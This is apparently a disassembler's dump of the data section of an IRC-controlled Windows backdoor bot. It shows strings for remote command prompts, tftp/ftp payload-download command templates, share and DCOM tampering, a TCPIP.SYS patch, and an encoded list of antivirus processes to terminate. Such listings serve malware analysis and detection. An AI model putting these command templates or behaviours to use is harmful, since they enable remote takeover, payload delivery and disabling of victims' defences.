align 4
dword_443494 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_411F66+5Co
dd 65726165h, 64h
unk_4434B0 db 2Dh ; - ; DATA XREF: sub_411F66+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
unk_4434D8 db 2Dh ; - ; DATA XREF: sub_411F66+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .data:004120C6o
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: .data:004120EFo
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_412159+47o
align 4
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_412159+54o
align 8
aAdd db 'Add',0 ; DATA XREF: .data:off_443620o
aAdded db 'Added',0 ; DATA XREF: .data:off_443624o
align 4
aDelete_1 db 'Delete',0 ; DATA XREF: .data:0044362Co
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:00443630o
aList_1 db 'List',0 ; DATA XREF: .data:00443638o
align 4
aListed db 'Listed',0 ; DATA XREF: .data:0044363Co
align 4
aStart_0 db 'Start',0 ; DATA XREF: .data:00443644o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:00443648o
aStop_0 db 'Stop',0 ; DATA XREF: .data:00443650o
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:00443654o
aPause_0 db 'Pause',0
align 4
aPaused_0 db 'Paused',0
align 4
aContinue_0 db 'Continue',0
align 10h
aContinued db 'Continued',0
align 10h
off_443620 dd offset aAdd ; DATA XREF: sub_412280+6Dr
; sub_412667+50r ...
; "Add"
off_443624 dd offset aAdded ; DATA XREF: sub_412280+2Dr
; sub_412667+82r ...
; "Added"
dword_443628 dd 0 dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 4435F4h, 4435FCh, 2, 443604h, 443610h, 3
unk_443674 db 2Dh ; - ; DATA XREF: sub_412280+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_443690 db 2Dh ; - ; DATA XREF: sub_412280+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_4436BC db 2Dh ; - ; DATA XREF: sub_412280+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4123A9+3Co
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4123A9:loc_4123EFo
align 4
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4123A9:loc_4123F9o
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4123A9:loc_412403o
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4123A9:loc_41240Do
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4123A9:loc_412417o
db 'dependent on it.',0
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4123A9+8Fo
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4123A9:loc_412442o
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4123A9:loc_412449o
db 'tServiceCtrlDispatcher.',0
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4123A9:loc_412450o
db ' the service.',0
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4123A9:loc_412457o
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4123A9:loc_412482o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4123A9:loc_412489o
db 'marked for deletion.',0
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4123A9:loc_412490o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4123A9:loc_412497o
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4123A9:loc_41249Eo
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4123A9:loc_4124A5o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4123A9:loc_4124ACo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4123A9:loc_4124B3o
db 'the state of the service.',0
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4123A9:loc_4124BAo
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4123A9:loc_4124C1o
align 4
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4123A9+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_412527+25o
align 4
aUnknown db ' Unknown',0 ; DATA XREF: sub_412527+9Eo
aPaused db ' Paused',0 ; DATA XREF: sub_412527:loc_4125CCo
aPausing db ' Pausing',0 ; DATA XREF: sub_412527:loc_4125D3o
aContinuing db ' Continuing',0 ; DATA XREF: sub_412527:loc_4125DAo
aRunning db ' Running',0 ; DATA XREF: sub_412527:loc_4125E1o
aStoping db ' Stoping',0 ; DATA XREF: sub_412527:loc_4125E8o
aStarting db ' Starting',0 ; DATA XREF: sub_412527:loc_4125EFo
aStopped db ' Stopped',0 ; DATA XREF: sub_412527:loc_4125F6o
aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_412527+EEo
unk_443C28 db 2Dh ; - ; DATA XREF: sub_412667+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
dword_443C54 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_412667+89o
dd 73252720h, 27h
unk_443C70 db 2Dh ; - ; DATA XREF: sub_412667+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_41285C+26o
align 4
unk_443CCC db 2Dh ; - ; DATA XREF: sub_41285C+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aYes db 'Yes',0 ; DATA XREF: sub_41285C+B5o
aNo db 'No',0 ; DATA XREF: sub_41285C+BCo
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41285C+D0o
align 4
unk_443D14 db 2Dh ; - ; DATA XREF: sub_41297D+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_443D34 db 2Dh ; - ; DATA XREF: sub_41297D+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_443D64 db 2Dh ; - ; DATA XREF: sub_41297D+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_412AC3+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_412AC3+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_412AC3+ACo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_412AC3+D4o
aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_412AC3+104o
aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_412AC3:loc_412BCEo
align 10h
aUser_3 db 'User',0 ; DATA XREF: sub_412AC3:loc_412BD5o
align 4
aGuest_0 db 'Guest',0 ; DATA XREF: sub_412AC3:loc_412BDCo
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_412AC3+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_412AC3+14Do
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_412AC3+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_412AC3+1A0o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_412AC3+1CBo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_412AC3+1F3o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_412AC3+21Eo
align 4
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_412AC3+246o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_412AC3+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_412AC3+299o
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_412AC3+2C4o
align 4
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_412AC3+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_412AC3+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_412AC3+33Fo
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_412AC3+36Ao
align 4
unk_443F14 db 2Dh ; - ; DATA XREF: sub_412AC3+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_412E91+29o
unk_443F5C db 2Dh ; - ; DATA XREF: sub_412E91+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aS_29 db ' %S',0 ; DATA XREF: sub_412E91:loc_412F4Bo
align 4
unk_443F88 db 2Dh ; - ; DATA XREF: sub_412E91:loc_412F7Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_412E91+145o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413007+3Bo
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413007:loc_41304Co
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_413007:loc_413056o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413007:loc_413060o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413007:loc_41306Ao
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413007:loc_413074o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413007+89o
align 4
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413007:loc_41309Ao
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_413007:loc_4130A4o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413007:loc_4130ABo
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_413007:loc_4130B2o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_413007+CFo
db ' the domain.',0
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413007:loc_4130DDo
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413007:loc_4130E4o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_413007:loc_4130EBo
db 'ord policy requirement.)',0
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413007:loc_413108o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413007:loc_41310Fo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413007:loc_413116o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413007:loc_41311Do
align 10h
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413007:loc_413124o
align 10h
unk_444290 db 2Dh ; - ; DATA XREF: sub_41313B+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_4442B8 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_41313B+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
dword_4442E4 dd 32h dword_4442E8 dd 622E7325h, 6B63hdword_4442F0 dd 5F636673h, 642E736Fh, 6C6Chbyte_4442FC db 4Ch, 0 ; DATA XREF: .data:004132EAo
word_4442FE dw 16h ; DATA XREF: .data:004132F8o
byte_444300 db 6, 0 ; DATA XREF: .data:004132FFo
word_444302 dw 0E8h ; DATA XREF: .data:0041330Do
off_444304 dd offset loc_430002+1 ; DATA XREF: .data:00413314o
byte_444308 db 0FCh, 0 ; DATA XREF: .data:00413330o
word_44430A dw 5 ; DATA XREF: .data:00413337o
byte_44430C db 0E8h, 0 ; DATA XREF: .data:00413345o
word_44430E dw 3 ; DATA XREF: .data:0041334Co
aXSg: ; DATA XREF: .data:00413361o
unicode 0, <åÈ™GÈ>,0
aRB db 'r+b',0 ; DATA XREF: .data:00413407o
aCanNotOpenTcpi db 'Can not open TCPIP.SYS, version %d.',0 ; DATA XREF: .data:00413427o
aTcpip_sysFixed db 'TCPIP.SYS fixed, version %d.',0 ; DATA XREF: .data:00413732o
align 8
dword_444368 dd 7530h dword_44436C dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh
; DATA XREF: .data:off_4444B8o
; .data:004444BCo
dd 6578652Eh, 0
dword_444388 dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h
; DATA XREF: .data:004444C0o
; .data:004444C4o
dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h
dd 6578h, 6176616Eh, 32337770h, 6578652Eh, 0
dword_4443C8 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h
; DATA XREF: .data:004444D4o
dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h
dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh
dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h
dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h
dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh
dd 6578652Eh, 0
dword_44445C dd 756E6977h, 652E6470h, 6578h, 736E6977h, 652E7379h, 6578h
; DATA XREF: .data:004444FCo
; .data:00444500o
dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0
dword_44448C dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h
; DATA XREF: .data:0044450Co
dd 65h, 72313169h, 346E3435h, 6578652Eh, 0
off_4444B8 dd offset dword_44436C ; DATA XREF: sub_4137F3+D1r
dd offset dword_44436C+0Ch
dd offset dword_444388
dd offset dword_444388+0Ch
dd offset dword_444388+18h
dd offset dword_444388+24h
dd offset dword_444388+30h
dd offset dword_4443C8
dd offset dword_4443C8+10h
dd offset dword_4443C8+28h
dd offset dword_4443C8+3Ch
dd offset dword_4443C8+48h
dd offset dword_4443C8+54h
dd offset dword_4443C8+60h
dd offset dword_4443C8+6Ch
dd offset dword_4443C8+78h
dd offset dword_4443C8+84h
dd offset dword_44445C
dd offset dword_44445C+0Ch
dd offset dword_44445C+18h
dd offset dword_44445C+24h
dd offset dword_44448C
dd offset dword_44448C+10h
dd offset dword_44448C+1Ch
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+5Ao
align 4
aSD db ' %s (%d)',0 ; DATA XREF: sub_4137F3+17Ao
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4137F3+188o
align 4
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_4137F3+19Co
align 10h
aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_4137F3+204o
align 4
unk_444564 db 2Dh ; - ; DATA XREF: sub_413A33+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
unk_444584 db 2Dh ; - ; DATA XREF: sub_413A33+86o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_4445A8 db 2Dh ; - ; DATA XREF: sub_413A33:loc_413AC0o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_413BD0+33o
aS_19 db '%s',0 ; DATA XREF: sub_413BD0+4Co
align 10h
unk_4445E0 db 2Dh ; - ; DATA XREF: sub_413C57:loc_413D3Do
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_444610 db 2Dh ; - ; DATA XREF: sub_413C57+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_444638 db 2Dh ; - ; DATA XREF: sub_413C57:loc_413D89o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_413DAC+20o
unk_444670 db 2Dh ; - ; DATA XREF: sub_413DAC+150o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
unk_444694 db 2Dh ; - ; DATA XREF: sub_413DAC+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
aIpc db 'IPC$',0 ; DATA XREF: .data:off_4446E8o
align 10h
aAdmin_3 db 'ADMIN$',0 ; DATA XREF: .data:004446F0o
align 4
aC_0 db 'C$',0 ; DATA XREF: .data:004446F8o
align 4
aC_1 db 'C:\',0 ; DATA XREF: .data:004446FCo
aD_2 db 'D$',0 ; DATA XREF: .data:00444700o
align 4
aD_3 db 'D:\',0 ; DATA XREF: .data:00444704o
off_4446E8 dd offset aIpc ; DATA XREF: sub_413FC4:loc_414179r
; sub_413FC4+1C3r ...
; "IPC$"
dword_4446EC dd 0 dd offset aAdmin_3 ; "ADMIN$"
align 8
dd offset aC_0 ; "C$"
dd offset aC_1 ; "C:\\"
dd offset aD_2 ; "D$"
dd offset aD_3 ; "D:\\"
word_444708 dw 4Eh ; DATA XREF: sub_413FC4+38r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_413FC4+54o
align 4
dword_444718 dd 234032Dh, 75636573h, 3026572haDisableDcomFai db '- Disable DCOM failed.',0
align 4
dword_44473C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_413FC4:loc_414037o
dd 62617369h, 2E64656Ch, 0
dword_44475C dd 234032Dh, 75636573h, 3026572haFailedToOpenDc db '- Failed to open DCOM registry key.',0
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_413FC4+EDo
align 10h
dword_4447A0 dd 234032Dh, 75636573h, 3026572haFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
dword_4447DC dd 234032Dh, 75636573h, 3026572haRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_444810 dd 234032Dh, 75636573h, 3026572haFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_44484C dd 234032Dh, 75636573h, 3026572haAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_44487C dd 234032Dh, 75636573h, 3026572haShareSDeleted_ db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_4448A0 dd 234032Dh, 75636573h, 3026572haFailedToDelete db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_4448CC dd 234032Dh, 75636573h, 3026572haShareSDelete_0 db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_4448F0 dd 234032Dh, 75636573h, 3026572haFailedToDele_0 db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_44491C dd 234032Dh, 75636573h, 3026572haNetworkSharesD db '- Network shares deleted.',0
align 4
dword_444944 dd 234032Dh, 75636573h, 3026572haNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
word_444974 dw 59h ; DATA XREF: sub_4142EA+38r
align 4
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_4142EA+54o
align 4
dword_444984 dd 234032Dh, 75636573h, 3026572haEnableDcomFail db '- Enable DCOM failed.',0
align 4
dword_4449A8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_4142EA:loc_41435Do
dd 6C62616Eh, 2E6465h
dword_4449C4 dd 234032Dh, 75636573h, 3026572haFailedToOpen_1 db '- Failed to open DCOM registry key.',0
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_4142EA+EDo
align 4
dword_444A08 dd 234032Dh, 75636573h, 3026572haFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_444A48 dd 234032Dh, 75636573h, 3026572haUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 10h
dword_444A80 dd 234032Dh, 75636573h, 3026572haFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0
dword_444ABC dd 234032Dh, 75636573h, 3026572haAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_444AEC dd 234032Dh, 75636573h, 3026572haShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_444B0C dd 234032Dh, 75636573h, 3026572haFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2 db '%c$',0 ; DATA XREF: sub_4142EA+21Bo
aC_3 db '%c:\',0 ; DATA XREF: sub_4142EA+22Co
align 10h
dword_444B40 dd 234032Dh, 75636573h, 3026572haShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0
dword_444B60 dd 234032Dh, 75636573h, 3026572haFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0
dword_444B88 dd 234032Dh, 75636573h, 3026572haNetworkSharesA db '- Network shares added.',0
dword_444BAC dd 234032Dh, 75636573h, 3026572haNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_414606+39o
a95 db '95',0 ; DATA XREF: sub_4147AC+46o
align 10h
aNt db 'NT',0 ; DATA XREF: sub_4147AC+5Ao
align 4
a98 db '98',0 ; DATA XREF: sub_4147AC+6Co
align 4
aMe_0 db 'ME',0 ; DATA XREF: sub_4147AC+7Eo
align 4
a2k db '2K',0 ; DATA XREF: sub_4147AC+98o
align 10h
aXp_2 db 'XP',0 ; DATA XREF: sub_4147AC+AAo
align 4
a2003_0 db '2003',0 ; DATA XREF: sub_4147AC+BAo
align 4
a??? db '???',0 ; DATA XREF: sub_4147AC:loc_41486Fo
aSS_6 db '%s (%s)',0 ; DATA XREF: sub_4147AC+EBo
word_444C18 dw 3Fh ; DATA XREF: sub_4147AC:loc_4148AEr
align 4
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4147AC:loc_414910o
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_4147AC+192o
aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_4147AC+1AEo
align 10h
dword_444C50 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_4147AC+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_444D2C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_444D3C dd 6C616944h, 70752Dhoff_444D44 dd offset dword_4E414C ; DATA XREF: sub_414A60:loc_414ACDo
off_444D48 dd offset loc_412F4B+3 ; DATA XREF: sub_414A60+77o
off_444D4C dd offset loc_412F4B+3 ; DATA XREF: sub_414A60+88o
dword_444D50 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_414A60+AEo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
dword_444D94 dd 5Ch dword_444D98 dd 2A2F2Ah dword_444D9C dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_414C86+192o
dd 64657469h, 2Eh
unk_444DB8 db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E1Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_444DF4 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_414C86+1A6o
dd 4C525520h, 2Eh
unk_444E10 db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E3Co
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
unk_444E3C db 2Dh ; - ; DATA XREF: sub_414C86:loc_414E43o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
dword_444E70 dd 1 ; sub_4151D0+F2r ...
dword_444E74 dd 5Ch ; sub_4151D0:loc_415385r ...
dword_444E78 dd 0FFFFFFFFh ; sub_415640+9Er ...
byte_444E7C db 0FDh ; DATA XREF: sub_4151D0+2B7r
; sub_4151D0+2D1r ...
byte_444E7D db 0DDh ; DATA XREF: sub_415CD0+257r
; sub_415CD0+39Br ...
byte_444E7E db 0CDh ; DATA XREF: sub_4151D0+2F1r
; sub_415640+377r
align 10h
off_444E80 dd offset aFree ; DATA XREF: sub_415CD0+177r
; sub_415CD0+1DDr ...
; "Free"
dd offset dword_4344AC+20h
dd offset dword_4344AC+1Ch
dd offset dword_4344AC+14h
dd offset dword_4344AC+0Ch
align 10h
dword_444EA0 dd 19930520h, 3 dup(0) ; sub_4191C6+2o
dword_444EB0 dd 173Fh dd 9875h, 9873h
off_444EBC dd offset sub_419870 ; DATA XREF: sub_417AB0+3r
; sub_417AB0+Cr
dd offset sub_4198A0
dd offset sub_4198A0
dword_444EC8 dd 1B3Fh align 10h
off_444ED0 dd offset sub_417B10 ; DATA XREF: sub_41AC70+22r
dword_444ED4 dd 2 ; sub_428880+86r ...
off_444ED8 dd offset dword_4DE680 ; DATA XREF: sub_41ACD0+B3o
; sub_41AE20+3o ...
align 10h
dd offset dword_4DE680
dd 101h
dword_444EE8 dd 0FFFFFFFFh, 0 dd 1000h, 0
dword_444EF8 dd 3 dup(0) ; sub_4226D0:loc_422723o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_444F18 dd 3 dup(0) ; sub_4226D0:loc_422735o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_445138 dd 8 dup(0) ; sub_41AE90+Co
dword_445158 dd 0FFFFFFFFh ; sub_41B010+108o ...
dword_44515C dd 2 ; .data:0041AF49r ...
dd 2 dup(4)
dword_445168 dd 0FFFFFFFFh ; .data:0041AF9Cr ...
dd 2 dup(0FFFFFFFFh)
off_445174 dd offset aWarning ; DATA XREF: sub_41B3A0+284r
; "Warning"
dd offset aError ; "Error"
dd offset dword_434D7C+8
dword_445180 dd 0 ; sub_41BBE0+44r ...
